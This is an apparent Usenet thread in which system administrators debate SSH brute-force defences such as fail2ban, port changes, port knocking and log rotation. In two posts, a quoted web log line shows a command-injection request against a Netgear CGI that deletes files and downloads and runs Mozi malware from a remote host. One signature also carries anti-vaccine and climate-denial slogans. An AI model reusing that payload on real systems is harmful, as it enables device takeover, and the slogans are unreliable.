On 16/12/2022 18:21, Richard Kettlewell wrote:
> The Natural Philosopher <tnp@invalid.invalid> writes:
>> On 15/12/2022 08:39, Richard Kettlewell wrote:
>>> Not much intelligence needed, anything that gets more than a handful
>>> of password authentication error is an attacker and gets added to my
>>> ‘block’ ipset.
>>>
>> Just hope it wasn't from some public wifi dynamic address that you
>> might want to use in future :-)
>
> Pretty unlikely. But my VPN will get me past it in the event that
> happens.
>
Well there you are. The classic 'wrapper' that allows you secure access
anywhere. With that you could probably use 'telnet'....
--
Climate Change: Socialism wearing a lab coat.

On Fri, 16 Dec 2022 21:24:46 -0500, Andreas Kohlbach <ank@spamfence.net> wrote:

> On Fri, 16 Dec 2022 10:30:17 +0100, Carlos E. R. wrote:
>>
>> On 16/12/2022 10.20, The Natural Philosopher wrote:
>>
>>> I've had open SSH for years on backbone hosted kit. everybody tries
>>> to login as root.
>>> I let them. Root is not allowed to log in.
>>
>> One idea would be to automatically block the IPs that try to login as
>> root or other typical names used by bots.
>
> Nah, don't. Have them have their fun. They don't know root won't get in
> and waste their own resources. Although today it won't matter either. But
> not letting them know they cannot login as root they keep trying instead
> of wandering off and try other servers where they might be successful.
>
>> That's something a human operator would do.
>
> I don't think so. Unless being DDoSed. But then you have to take a
> completely different approach to mitigate the traffic.

I don't block, but I use a non-standard port. Otherwise failed attempts
can fill the filesystem where the logs are stored. I had that happen before
I switched ports.

Regards, Dave Hodgins

On 16/12/2022 20:44, Marc Haber wrote:
> Richard Kettlewell <invalid@invalid.invalid> wrote:
>> The Natural Philosopher <tnp@invalid.invalid> writes:
>>> On 16/12/2022 09:30, Carlos E. R. wrote:
>>>> One idea would be to automatically block the IPs that try to login
>>>> as root or other typical names used by bots.
>>>> That's something a human operator would do.
>>>>
>>> Why bother? they would then go on to bother someone else, possibly
>>> with less bandwidth than I.
>>>
>>> If they want to spend an hour trying every single password in their
>>> dictionary, its no skin off my nose.
>>
>> I’ve got better uses for my CPU[1] than key agreement with low-rent
>> attackers, and better uses for my logs than background error noise.
>
> It's matter of style, both ways to do it have their advantages and
> their disadvantages. It's nothing to get missionary over.
>
Its not my CPU. I only rent it, and its bandwidth is taken up with other
stuff so that this is lost on the noise/

I don't rig my car up with complicated shields to stop the mud splashing
the wings (fenders) either.

On the server, the log files get rotated, on my car, it gets pressure
washed.

--
"First, find out who are the people you can not criticise. They are your
oppressors."
- George Orwell

On 12/16/22 1:33 AM, Andreas Kohlbach wrote:
> On Fri, 16 Dec 2022 00:28:57 -0500, 26C.Z969 wrote:
>>
>> On 12/15/22 6:36 PM, Andreas Kohlbach wrote:
>>> On Thu, 15 Dec 2022 18:03:48 +0100, Marco Moock wrote:
>>
>>>> Attacks on SSH on IPv4 networks exist (mostly brute-force), but just
>>>> let it run on an IPv6 address, almost nobody will find it and try to
>>>> log in.
>>> Also depends on how long an IP is advertising SSH (or other
>>> services). I
>>> have mine since two years now, and scammers getting busier to get into my
>>> SSH. Not that I care or block any of the IPs involved, as they change
>>> frequently anyway.
>>
>> Strictly IP-centric defenses won't cut it anymore.
>> Attackers tend to use distributed attacks - hundreds,
>> thousands, of addresses. IP-centric defenses can
>> slow-down at least some attackers, which can be good,
>> but hardly all.
>
> I know I'll only access mine via WIFI. Although it listens to the world
> on port 22 I actually don't allow any connection other than from
> 192.168.0.0/24 .
>

Helps.

But I might need to access from a number of random
IP addresses. VPNs can help, but not totally solve
maybe even if you pay for the VPN equiv of a static IP.

Not so long ago, I was working on the weekend and
watched one of these attacks take shape. First it
was one IP address showing up in the firewall logs.
Did a simple conservative /24 block on it. Half an
hour later MORE probes showed up - first from a
few addresses, then dozens, then hundreds banging
at it as fast as they could. Even looking at the
detailed connection info revealed no common factors
you could filter. Dunno if this was one bot or the
"hot" address was shared around. So, as I was pretty
much the only one using it (and it was NOT p22 -
never use that !) I just changed the external port
number. However for TEN MONTHS there were literally
a thousand+ probes a day on that old, dead, port.

This is where I concluded that SSH was not fit for
the modern world. It's not "smart" enough.

>> IPV6 does have some potential ... but a lot of big
>> providers, even Comcast, only offer IPV4 to most
>> customers.
>>
>> Sometimes the "best" defense is obfuscation ...
>> run SSH on an obscure port. If you look at yer
>> firewall logs you'll see shitloads of probes
>> to the standard port. Attackers are mostly bots
>> these days and go for the low-hanging fruit.
>
> May be just let everybody in without password or host key auth. Well no
> seriously.

Some DO make it THAT easy - because, well, it's EASY.
And if you do use a password ... well ... "password"
or "12345678" ought to be good, right ?

> But just for the fun I once set my FTP server for anonymous login (any
> email address and any password allowed to gain access) and looked ever so
> often if someone uploads some crap (I didn't offer any downloads). Still
> nothing after hours, so I looked into the logs. Many people trying many
> different IDs and passwords, which were refused. But none tried anonymous
> access which would had let them in. *g*
>
> I ran this test for eight hours, but no one tried anonymous access.

24 hours, 24 days, 24 months ... not LONG enough. Thing is
the little probe bots WILL eventually find you - and then
POUNCE like a thousand rabid weasels.

On 12/16/22 3:44 PM, Marc Haber wrote:
> Richard Kettlewell <invalid@invalid.invalid> wrote:
>> The Natural Philosopher <tnp@invalid.invalid> writes:
>>> On 16/12/2022 09:30, Carlos E. R. wrote:
>>>> One idea would be to automatically block the IPs that try to login
>>>> as root or other typical names used by bots.
>>>> That's something a human operator would do.
>>>>
>>> Why bother? they would then go on to bother someone else, possibly
>>> with less bandwidth than I.
>>>
>>> If they want to spend an hour trying every single password in their
>>> dictionary, its no skin off my nose.
>>
>> I’ve got better uses for my CPU[1] than key agreement with low-rent
>> attackers, and better uses for my logs than background error noise.
>
> It's matter of style, both ways to do it have their advantages and
> their disadvantages. It's nothing to get missionary over.

Strictly "human" attackers are pretty much a historical
artifact at this point - unless you're a bank or govt
letter agency or some similar high-profile/high-return
target. For the rest of the world it's all BOTS - busy
busy little bots. They WILL try every password in their
book and then start on the random shit. They will come
at you from a hundred, a thousand, ten thousand IP
ripped-off addresses. They will keep at it for days,
months. Just one of a thousand little bot processes
running on a few boxes in Romania or Russia that link
through "friendly"-looking address ranges (DigitalOcean
seems to be the most popular route, the Netherlands
seems to be THE path Russians use to APPEAR to be
"EU").

Been there, see it.

SSH isn't "smart" enough to see what a human can
plainly see - an attack. We need some "AI" sort
of adjunct at this point.

Yea, there ARE other tricks - narrow the IP range that
the firewall will even let GET at yer SSH port - but
that's not a solution for all.

A smarter SSH, one intentionally designed for this
bot-ridden world, is needed.

The OTHER, growing, part of the security equation
isn't "hacking" anymore - even by bots - but
"human factors". Idiots in the company or even
spies planted as interns, looking over shoulders.

The favorite ploy the past few months has been
fake invoices - seemingly from respectable corps,
maybe even ones you do biz with. The link to the
detailed invoice will be bad - so you'll wanna
click the "help" link. SOME are obvious ploys,
others are pretty damned good ... might have to
dissect the source/html to spot the fraud. Few
smaller outfits have people who can DO that and
big "computer service providers" are, well, they
collect money and then never DO much. Even they
don't have the people-power or interest to cope.
SOMEWHERE in the service agreement you signed
your rights away ..........

On Sat, 17 Dec 2022 02:03:27 -0500, David W. Hodgins wrote:
>
> On Fri, 16 Dec 2022 21:24:46 -0500, Andreas Kohlbach <ank@spamfence.net> wrote:
>
>> On Fri, 16 Dec 2022 10:30:17 +0100, Carlos E. R. wrote:
>>>
>> Nah, don't. Have them have their fun. They don't know root won't get in
>> and waste their own resources. Although today it won't matter either. But
>> not letting them know they cannot login as root they keep trying instead
>> of wandering off and try other servers where they might be successful.
>>
>>> That's something a human operator would do.
>>
>> I don't think so. Unless being DDoSed. But then you have to take a
>> completely different approach to mitigate the traffic.
>
> I don't block, but I use a non-standard port. Otherwise failed attempts
> can fill the filesystem where the logs are stored. I had that happen before
> I switched ports.

There's logrotate to take care of logfile sizes.

~$ ls -lrt /var/log/auth*
-rw-r----- 1 root adm 78358 Nov 19 23:39 /var/log/auth.log.4.gz
-rw-r----- 1 root adm 83875 Nov 26 23:57 /var/log/auth.log.3.gz
-rw-r----- 1 root adm 44726 Dec 3 23:46 /var/log/auth.log.2.gz
-rw-r----- 1 root adm 449644 Dec 10 23:51 /var/log/auth.log.1
-rw-r----- 1 root adm 987377 Dec 17 03:45 /var/log/auth.log
--
Andreas

Marc Haber <mh+usenetspam1118@zugschl.us> writes:
> Richard Kettlewell <invalid@invalid.invalid> wrote:
>>I’ve got better uses for my CPU[1] than key agreement with low-rent
>>attackers, and better uses for my logs than background error noise.
>
> It's matter of style, both ways to do it have their advantages and
> their disadvantages. It's nothing to get missionary over.

I don’t disagree. Although, when I started, the probes were literally
audible, in my environment: syslog defaults to writing logs
synchronously and my server’s hard disk was rather on the loud side. A
persistent prober produce a gentle ‘bonk ... bonk ... bonk’ noise. That
had to go l-)

--
http://www.greenend.org.uk/rjk/

On 17/12/2022 08.03, David W. Hodgins wrote:
> On Fri, 16 Dec 2022 21:24:46 -0500, Andreas Kohlbach <ank@spamfence.net>
> wrote:
>
>> On Fri, 16 Dec 2022 10:30:17 +0100, Carlos E. R. wrote:
>>>
>>> On 16/12/2022 10.20, The Natural Philosopher wrote:
>>>
>>>> I've had open SSH for years on backbone hosted kit. everybody tries
>>>> to login as root.
>>>> I let them. Root is not allowed to log in.
>>>
>>> One idea would be to automatically block the IPs that try to login as
>>> root or other typical names used by bots.
>>
>> Nah, don't. Have them have their fun. They don't know root won't get in
>> and waste their own resources. Although today it won't matter either. But
>> not letting them know they cannot login as root they keep trying instead
>> of wandering off and try other servers where they might be successful.

They fill the logs.

>>
>>> That's something a human operator would do.
>>
>> I don't think so. Unless being DDoSed. But then you have to take a
>> completely different approach to mitigate the traffic.
>
> I don't block, but I use a non-standard port. Otherwise failed attempts
> can fill the filesystem where the logs are stored. I had that happen before
> I switched ports.

Yes, that's what I do. Works wonderfully, not a hit in months.

>
> Regards, Dave Hodgins

--
Cheers,
Carlos E.R.

On 17/12/2022 09.47, Andreas Kohlbach wrote:
> On Sat, 17 Dec 2022 02:03:27 -0500, David W. Hodgins wrote:
>>
>> On Fri, 16 Dec 2022 21:24:46 -0500, Andreas Kohlbach <ank@spamfence.net> wrote:
>>
>>> On Fri, 16 Dec 2022 10:30:17 +0100, Carlos E. R. wrote:
>>>>
>>> Nah, don't. Have them have their fun. They don't know root won't get in
>>> and waste their own resources. Although today it won't matter either. But
>>> not letting them know they cannot login as root they keep trying instead
>>> of wandering off and try other servers where they might be successful.
>>>
>>>> That's something a human operator would do.
>>>
>>> I don't think so. Unless being DDoSed. But then you have to take a
>>> completely different approach to mitigate the traffic.
>>
>> I don't block, but I use a non-standard port. Otherwise failed attempts
>> can fill the filesystem where the logs are stored. I had that happen before
>> I switched ports.
>
> There's logrotate to take care of logfile sizes.

That's not the issue.

The issue is so much noise that something important will be missed.

>
> ~$ ls -lrt /var/log/auth*
> -rw-r----- 1 root adm 78358 Nov 19 23:39 /var/log/auth.log.4.gz
> -rw-r----- 1 root adm 83875 Nov 26 23:57 /var/log/auth.log.3.gz
> -rw-r----- 1 root adm 44726 Dec 3 23:46 /var/log/auth.log.2.gz
> -rw-r----- 1 root adm 449644 Dec 10 23:51 /var/log/auth.log.1
> -rw-r----- 1 root adm 987377 Dec 17 03:45 /var/log/auth.log

--
Cheers,
Carlos E.R.

At Sat, 17 Dec 2022 02:31:12 -0500 "26C.Z969" <26C.Z969@noaada.net> wrote:

>
> On 12/16/22 3:44 PM, Marc Haber wrote:
> > Richard Kettlewell <invalid@invalid.invalid> wrote:
> >> The Natural Philosopher <tnp@invalid.invalid> writes:
> >>> On 16/12/2022 09:30, Carlos E. R. wrote:
> >>>> One idea would be to automatically block the IPs that try to login
> >>>> as root or other typical names used by bots.
> >>>> That's something a human operator would do.
> >>>>
> >>> Why bother? they would then go on to bother someone else, possibly
> >>> with less bandwidth than I.
> >>>
> >>> If they want to spend an hour trying every single password in their
> >>> dictionary, its no skin off my nose.
> >>
> >> I’ve got better uses for my CPU[1] than key agreement with low-rent
> >> attackers, and better uses for my logs than background error noise.
> >
> > It's matter of style, both ways to do it have their advantages and
> > their disadvantages. It's nothing to get missionary over.
>
> Strictly "human" attackers are pretty much a historical
> artifact at this point - unless you're a bank or govt
> letter agency or some similar high-profile/high-return
> target. For the rest of the world it's all BOTS - busy
> busy little bots. They WILL try every password in their
> book and then start on the random shit. They will come
> at you from a hundred, a thousand, ten thousand IP
> ripped-off addresses. They will keep at it for days,
> months. Just one of a thousand little bot processes
> running on a few boxes in Romania or Russia that link
> through "friendly"-looking address ranges (DigitalOcean
> seems to be the most popular route, the Netherlands
> seems to be THE path Russians use to APPEAR to be
> "EU").
>
> Been there, see it.
>
> SSH isn't "smart" enough to see what a human can
> plainly see - an attack. We need some "AI" sort
> of adjunct at this point.
>
> Yea, there ARE other tricks - narrow the IP range that
> the firewall will even let GET at yer SSH port - but
> that's not a solution for all.
>
> A smarter SSH, one intentionally designed for this
> bot-ridden world, is needed.

Not really, a program that analyses SSH's log file can do that. Oh, wait, it
already exists: fail2ban. Hmm... Maybe just a smarter fail2ban?

>
> The OTHER, growing, part of the security equation
> isn't "hacking" anymore - even by bots - but
> "human factors". Idiots in the company or even
> spies planted as interns, looking over shoulders.
>
> The favorite ploy the past few months has been
> fake invoices - seemingly from respectable corps,
> maybe even ones you do biz with. The link to the
> detailed invoice will be bad - so you'll wanna
> click the "help" link. SOME are obvious ploys,
> others are pretty damned good ... might have to
> dissect the source/html to spot the fraud. Few
> smaller outfits have people who can DO that and
> big "computer service providers" are, well, they
> collect money and then never DO much. Even they
> don't have the people-power or interest to cope.
> SOMEWHERE in the service agreement you signed
> your rights away ..........
>
>
>

--
Robert Heller -- Cell: 413-658-7953 GV: 978-633-5364
Deepwoods Software -- Custom Software Services
http://www.deepsoft.com/ -- Linux Administration Services
heller@deepsoft.com -- Webhosting Services

26C.Z969 <26C.Z969@noaada.net> wrote:
> Not so long ago, I was working on the weekend and watched one of
> these attacks take shape. First it was one IP address showing up
> in the firewall logs. Did a simple conservative /24 block on it.
> Half an hour later MORE probes showed up - first from a few
> addresses, then dozens, then hundreds banging at it as fast as they
> could. Even looking at the detailed connection info revealed no
> common factors you could filter. Dunno if this was one bot or the
> "hot" address was shared around. So, as I was pretty much the only
> one using it (and it was NOT p22 - never use that !) I just changed
> the external port number. However for TEN MONTHS there were
> literally a thousand+ probes a day on that old, dead, port.
>
> This is where I concluded that SSH was not fit for the modern
> world. It's not "smart" enough.

Please enlighten us then as to how your proposed "replacement", given
the same situation as you detail above, was to be somehow 'smarter'
and be able to control the actions of actors elsewhere on the internet.

What would this 'smarter' replacement do, given what happened "not so
long ago"?

26C.Z969 <26C.Z969@noaada.net> wrote:
> Strictly "human" attackers are pretty much a historical artifact at
> this point - unless you're a bank or govt letter agency or some
> similar high-profile/high-return target. For the rest of the world
> it's all BOTS - busy busy little bots. They WILL try every
> password in their book and then start on the random shit. They
> will come at you from a hundred, a thousand, ten thousand IP
> ripped-off addresses. They will keep at it for days, months. Just
> one of a thousand little bot processes running on a few boxes in
> Romania or Russia that link through "friendly"-looking address
> ranges (DigitalOcean seems to be the most popular route, the
> Netherlands seems to be THE path Russians use to APPEAR to be
> "EU").
>
> Been there, see it.
>
> SSH isn't "smart" enough to see what a human can plainly see - an
> attack. We need some "AI" sort of adjunct at this point.

Please detail what your proposed 'smarter' ssh would do given this
situation.

And, while you are at it, please explain why this should be an activity
that ssh concerns itself with (thereby adding significant complexity)
as opposed to this being a network monitoring layer, separate from ssh,
that monitors and remediates things on behalf of ssh and any other
services.

> A smarter SSH, one intentionally designed for this
> bot-ridden world, is needed.

Please explain what additional activities your new-ssh would perform,
given the situation you have described above.

On Sat, 17 Dec 2022 03:47:12 -0500, Andreas Kohlbach <ank@spamfence.net> wrote:

> On Sat, 17 Dec 2022 02:03:27 -0500, David W. Hodgins wrote:
>>
>> On Fri, 16 Dec 2022 21:24:46 -0500, Andreas Kohlbach <ank@spamfence.net> wrote:
>>
>>> On Fri, 16 Dec 2022 10:30:17 +0100, Carlos E. R. wrote:
>>>>
>>> Nah, don't. Have them have their fun. They don't know root won't get in
>>> and waste their own resources. Although today it won't matter either. But
>>> not letting them know they cannot login as root they keep trying instead
>>> of wandering off and try other servers where they might be successful.
>>>
>>>> That's something a human operator would do.
>>>
>>> I don't think so. Unless being DDoSed. But then you have to take a
>>> completely different approach to mitigate the traffic.
>>
>> I don't block, but I use a non-standard port. Otherwise failed attempts
>> can fill the filesystem where the logs are stored. I had that happen before
>> I switched ports.
>
> There's logrotate to take care of logfile sizes.
>
> ~$ ls -lrt /var/log/auth*
> -rw-r----- 1 root adm 78358 Nov 19 23:39 /var/log/auth.log.4.gz
> -rw-r----- 1 root adm 83875 Nov 26 23:57 /var/log/auth.log.3.gz
> -rw-r----- 1 root adm 44726 Dec 3 23:46 /var/log/auth.log.2.gz
> -rw-r----- 1 root adm 449644 Dec 10 23:51 /var/log/auth.log.1
> -rw-r----- 1 root adm 987377 Dec 17 03:45 /var/log/auth.log

When you get a few dozen hits per minute, it doesn't take a week to use a lot
of log space. Rotating more often will mean info will be removed sooner too.

Granted, disk drive space has come down in price a lot since I ran into the
issue and switched to using a custom port, but there are also new systems
such as raspberry pi, that normally run from an sd card, which limits the
drive size.

Regards, Dave Hodgins

On 17/12/2022 15.25, Rich wrote:
> 26C.Z969 <26C.Z969@noaada.net> wrote:
>> Strictly "human" attackers are pretty much a historical artifact at
>> this point - unless you're a bank or govt letter agency or some
>> similar high-profile/high-return target. For the rest of the world
>> it's all BOTS - busy busy little bots. They WILL try every
>> password in their book and then start on the random shit. They
>> will come at you from a hundred, a thousand, ten thousand IP
>> ripped-off addresses. They will keep at it for days, months. Just
>> one of a thousand little bot processes running on a few boxes in
>> Romania or Russia that link through "friendly"-looking address
>> ranges (DigitalOcean seems to be the most popular route, the
>> Netherlands seems to be THE path Russians use to APPEAR to be
>> "EU").
>>
>> Been there, see it.
>>
>> SSH isn't "smart" enough to see what a human can plainly see - an
>> attack. We need some "AI" sort of adjunct at this point.
>
> Please detail what your proposed 'smarter' ssh would do given this
> situation.
>
> And, while you are at it, please explain why this should be an activity
> that ssh concerns itself with (thereby adding significant complexity)
> as opposed to this being a network monitoring layer, separate from ssh,
> that monitors and remediates things on behalf of ssh and any other
> services.

Monitoring logs is a kludge.

>
>> A smarter SSH, one intentionally designed for this
>> bot-ridden world, is needed.
>
> Please explain what additional activities your new-ssh would perform,
> given the situation you have described above.

--
Cheers,
Carlos E.R.

On Sat, 17 Dec 2022 12:43:12 +0100, Carlos E. R. wrote:
>
> On 17/12/2022 09.47, Andreas Kohlbach wrote:
>> On Sat, 17 Dec 2022 02:03:27 -0500, David W. Hodgins wrote:
>>>
>>>> I don't think so. Unless being DDoSed. But then you have to take a
>>>> completely different approach to mitigate the traffic.
>>>
>>> I don't block, but I use a non-standard port. Otherwise failed attempts
>>> can fill the filesystem where the logs are stored. I had that happen before
>>> I switched ports.
>> There's logrotate to take care of logfile sizes.
>
> That's not the issue.
>
> The issue is so much noise that something important will be missed.

I was referring to "can fill the filesystem".
--
Andreas

On Sat, 17 Dec 2022 10:30:09 -0500, David W. Hodgins wrote:
>
> On Sat, 17 Dec 2022 03:47:12 -0500, Andreas Kohlbach <ank@spamfence.net> wrote:
>
>> On Sat, 17 Dec 2022 02:03:27 -0500, David W. Hodgins wrote:
>>>
>>> I don't block, but I use a non-standard port. Otherwise failed attempts
>>> can fill the filesystem where the logs are stored. I had that happen before
>>> I switched ports.
>>
>> There's logrotate to take care of logfile sizes.
>>
>> ~$ ls -lrt /var/log/auth*
>> -rw-r----- 1 root adm 78358 Nov 19 23:39 /var/log/auth.log.4.gz
>> -rw-r----- 1 root adm 83875 Nov 26 23:57 /var/log/auth.log.3.gz
>> -rw-r----- 1 root adm 44726 Dec 3 23:46 /var/log/auth.log.2.gz
>> -rw-r----- 1 root adm 449644 Dec 10 23:51 /var/log/auth.log.1
>> -rw-r----- 1 root adm 987377 Dec 17 03:45 /var/log/auth.log
>
> When you get a few dozen hits per minute, it doesn't take a week to use a lot
> of log space. Rotating more often will mean info will be removed sooner too.

We (at least not me) not offer commercial services. Thus all there is
noise we need not to look into, unless fear we've been hacked. Thus space
will not clog up unless you have not much disk space anyway. Thus default
setting (compress once a week or so) is fine for most of us.

> Granted, disk drive space has come down in price a lot since I ran into the
> issue and switched to using a custom port, but there are also new systems
> such as raspberry pi, that normally run from an sd card, which limits the
> drive size.

As not commercial service i didn't bought a new drive just to log noise.

As mentioned, I have my IP two year now with port 22 open to the
internet. And I *don't* drown in logs, see the excerpt on top.

But of course, feel free to use an other port than 22. That's reduce
noise. But I stick with 22 (I might just forget where I otherwise set it
to) as I have no problem with that since decades.
--
Andreas

On 12/16/22 4:26 AM, The Natural Philosopher wrote:
> On 16/12/2022 05:16, 26C.Z969 wrote:
>> On 12/15/22 9:55 AM, Lew Pitcher wrote:
>>> On Thu, 15 Dec 2022 01:52:41 -0500, 26C.Z969 wrote:
>>>
>>>> SSH is a good oldie for sure. However, it seems to be increasingly
>>>> unfit
>>>> for the modern realities.
>>> [snip]
>>>> I mean REPLACE it entirely with a clean new solution. Too much
>>>> feature-creep on old apps is never a good idea.
>>>
>>> While I don't agree with you (I think that your observed problems
>>> are likely caused more by operator error than aged software), I
>>> have no problems with YOU attempting to replace ssh with something
>>> better. Have at it, my friend.
>>>
>>> Once YOU write a stable and featurefull replacement for ssh, please
>>> let us know.
>>>
>>> Luck be with you
>>
>>    In the end I may HAVE to ... but not my idea
>>    of fun. Replacing SSH really needs to be a
>>    "community effort" drawing from a lot of
>>    expertise and experience with broad agreement
>>    involved.
>>
>>    Or is all this already behind the curve ? SO much
>>    access is now via browser-based apps.
>>
>>    SolarWinds will sell you some great stuff ....
>>
>
> Just build a wrapper - a sort of modern inetd - that requires
> simultaneous access on three ports to open one of them to any service.

"Port knocking" and relatives are nothing new.
And yes, they WILL keep out the rabble, unless
the rabble is motivated to monitor every packet
coming in and out for days/weeks and the spend
a lot longer in analysis.

But every layer also adds "inconvenience" for
the legit users. They also need custom software
to, for example, light up the correct other
ports so they can access the real one.

Thing is, any human can, looking at the usual
kinds of logs, immediately spot an aggressor.
Computers normally don't see that however -
so perhaps a broader solution is to make it
so they CAN ... apply a little "AI" ... what
does an attack "look like" ?

> Proper packaged port knocker. Might already be one.

There are.

> SSH is a perfectly adequate protocol that only purists find inadequate.

Ten years ago I'd have agreed ... but now with massive
distributed attacks becoming the norm even for the script
kiddies ........

The inbuilt defenses of SSH just weren't made for those
sorts of attacks. You can add wrappers, then more wrappers,
until you have a fragile mess - but a ground-up replacement
seems "better" somehow.

And "security" is never "purist" ... it's VITAL.

"Carlos E. R." <robin_listas@es.invalid> writes:
> On 17/12/2022 15.25, Rich wrote:
>> Please detail what your proposed 'smarter' ssh would do given this
>> situation.
>> And, while you are at it, please explain why this should be an
>> activity
>> that ssh concerns itself with (thereby adding significant complexity)
>> as opposed to this being a network monitoring layer, separate from ssh,
>> that monitors and remediates things on behalf of ssh and any other
>> services.
>
> Monitoring logs is a kludge.

If you want SSH to block attackers directly that would be a fairly
simple change to an SSH server. Designing a new secure remote login
protocol just for that would be a bizarre choice.

Personally I think the current architecture is a good example of
decoupling.

I can see a better argument for using PAM to trigger the blocking
(perhaps already possible with pam_exec). That would (in principle)
allow for uniform reporting from SSH, mosh, RDP, etc. Again, though, it
wouldn’t justify the OP’s requirement for a completely new protocol,
which still seems to lack any coherent motivation.

--
http://www.greenend.org.uk/rjk/

On 18/12/2022 11:16, Richard Kettlewell wrote:
> "Carlos E. R." <robin_listas@es.invalid> writes:
>> On 17/12/2022 15.25, Rich wrote:
>>> Please detail what your proposed 'smarter' ssh would do given this
>>> situation.
>>> And, while you are at it, please explain why this should be an
>>> activity
>>> that ssh concerns itself with (thereby adding significant complexity)
>>> as opposed to this being a network monitoring layer, separate from ssh,
>>> that monitors and remediates things on behalf of ssh and any other
>>> services.
>>
>> Monitoring logs is a kludge.
>
> If you want SSH to block attackers directly that would be a fairly
> simple change to an SSH server. Designing a new secure remote login
> protocol just for that would be a bizarre choice.
>
> Personally I think the current architecture is a good example of
> decoupling.
>
> I can see a better argument for using PAM to trigger the blocking
> (perhaps already possible with pam_exec). That would (in principle)
> allow for uniform reporting from SSH, mosh, RDP, etc. Again, though, it
> wouldn’t justify the OP’s requirement for a completely new protocol,
> which still seems to lack any coherent motivation.
>
He just likes 'new shiny thing, make everything better'
Creeping featurism as a substitute for genuine progress.

--
"Corbyn talks about equality, justice, opportunity, health care, peace,
community, compassion, investment, security, housing...."
"What kind of person is not interested in those things?"

"Jeremy Corbyn?"

"Carlos E. R." <robin_listas@es.invalid> wrote:
>Monitoring logs is a kludge.

Right, ssh and services should have hooks for that. Sadly, for ssh,
this is regularly bludgeoned down by upstream if requested.

Greetings
Marc
--
-------------------------------------- !! No courtesy copies, please !! -----
Marc Haber | " Questions are the | Mailadresse im Header
Mannheim, Germany | Beginning of Wisdom " |
Nordisch by Nature | Lt. Worf, TNG "Rightful Heir" | Fon: *49 621 72739834

On 18/12/2022 02.13, Andreas Kohlbach wrote:
> On Sat, 17 Dec 2022 12:43:12 +0100, Carlos E. R. wrote:
>>
>> On 17/12/2022 09.47, Andreas Kohlbach wrote:
>>> On Sat, 17 Dec 2022 02:03:27 -0500, David W. Hodgins wrote:
>>>>
>>>>> I don't think so. Unless being DDoSed. But then you have to take a
>>>>> completely different approach to mitigate the traffic.
>>>>
>>>> I don't block, but I use a non-standard port. Otherwise failed attempts
>>>> can fill the filesystem where the logs are stored. I had that happen before
>>>> I switched ports.
>>> There's logrotate to take care of logfile sizes.
>>
>> That's not the issue.
>>
>> The issue is so much noise that something important will be missed.
>
> I was referring to "can fill the filesystem".

Yes, rotating logs takes care of that. But the issue of too much noise
remains.

--
Cheers,
Carlos E.R.

On Sun, 18 Dec 2022 23:35:23 +0100, Carlos E. R. wrote:
>
> On 18/12/2022 02.13, Andreas Kohlbach wrote:
>>
>> I was referring to "can fill the filesystem".
>
> Yes, rotating logs takes care of that. But the issue of too much noise
> remains.

The typical Linux user of today can ignore the noise. Ignore your logs,
unless you feel something is not right.

Same with (my) web server. Again, I do not offer a commercial
service. Thus I not often look into the logs and let logrotate taking
care of compressing and later get rid of logs.

Ever so often I check for "200 " to see who had success, and shuckle
about things like

190.180.154.158 - - [18/Dec/2022:12:02:10 -0500] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://190.180.154.158:38147/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 341 "-" "-"

in the log. Yes, I could block 190.180.154.158 or a netblock around
it. But why? It's just noise I choose to ignore.
--
Andreas

On 19/12/2022 00.47, Andreas Kohlbach wrote:
> On Sun, 18 Dec 2022 23:35:23 +0100, Carlos E. R. wrote:
>>
>> On 18/12/2022 02.13, Andreas Kohlbach wrote:
>>>
>>> I was referring to "can fill the filesystem".
>>
>> Yes, rotating logs takes care of that. But the issue of too much noise
>> remains.
>
> The typical Linux user of today can ignore the noise. Ignore your logs,
> unless you feel something is not right.

I work the other way:
I check the logs to see if there is something wrong :-)

> Same with (my) web server. Again, I do not offer a commercial
> service. Thus I not often look into the logs and let logrotate taking
> care of compressing and later get rid of logs.
>
> Ever so often I check for "200 " to see who had success, and shuckle
> about things like
>
> 190.180.154.158 - - [18/Dec/2022:12:02:10 -0500] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://190.180.154.158:38147/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 341 "-" "-"
>
> in the log. Yes, I could block 190.180.154.158 or a netblock around
> it. But why? It's just noise I choose to ignore.

Each one has their methods :-)

--
Cheers,
Carlos E.R.

On 2022-12-16, The Natural Philosopher <tnp@invalid.invalid> wrote:
> Block that proxy's public IP address, you block yourself from using it
> ever again.

There are programs such as fail2ban which let you set a timeout after
which a blocked IP address will be unblocked.

--
------------------------------------------------------------------------------
18 Reasons I won't be vaccinated -- https://tinyurl.com/ebty2dx3
Covid vaccines: experimental biology -- https://tinyurl.com/57mncfm5
The fraud of "Climate Change" -- https://RealClimateScience.com
There is no "climate crisis" -- https://climatedepot.com
Don't talk to cops! -- https://DontTalkToCops.com
------------------------------------------------------------------------------

On 12/18/22 7:02 AM, The Natural Philosopher wrote:
> On 18/12/2022 11:16, Richard Kettlewell wrote:
>> "Carlos E. R." <robin_listas@es.invalid> writes:
>>> On 17/12/2022 15.25, Rich wrote:
>>>> Please detail what your proposed 'smarter' ssh would do given this
>>>> situation.
>>>> And, while you are at it, please explain why this should be an
>>>> activity
>>>> that ssh concerns itself with (thereby adding significant complexity)
>>>> as opposed to this being a network monitoring layer, separate from ssh,
>>>> that monitors and remediates things on behalf of ssh and any other
>>>> services.
>>>
>>> Monitoring logs is a kludge.
>>
>> If you want SSH to block attackers directly that would be a fairly
>> simple change to an SSH server. Designing a new secure remote login
>> protocol just for that would be a bizarre choice.
>>
>> Personally I think the current architecture is a good example of
>> decoupling.
>>
>> I can see a better argument for using PAM to trigger the blocking
>> (perhaps already possible with pam_exec). That would (in principle)
>> allow for uniform reporting from SSH, mosh, RDP, etc. Again, though, it
>> wouldn’t justify the OP’s requirement for a completely new protocol,
>> which still seems to lack any coherent motivation.
>>
> He just likes 'new shiny thing, make everything better'
> Creeping featurism as a substitute for genuine progress.

Ain't gonna be any "genuine progress" using todays
SSH.

All I did here was ASK A QUESTION ... "Is SSH good
enough anymore ?".

And I still don't think so.

World's changed. Change with it or be eaten.

There are MUCH better programmers out there than
myself with a LOT more nuanced experience dealing
with net security problems. Time for some of them
to cast an eye on this. Sure, I can break out the
'C' compiler and write an internet service BUT
there are so many facets to writing a "better SSH"
that'll cope with all the challenges ... I just
ain't the guy. This will take a little "AI" and
that's not my strong suite.

Even the stupidist, brute force, distributed attack
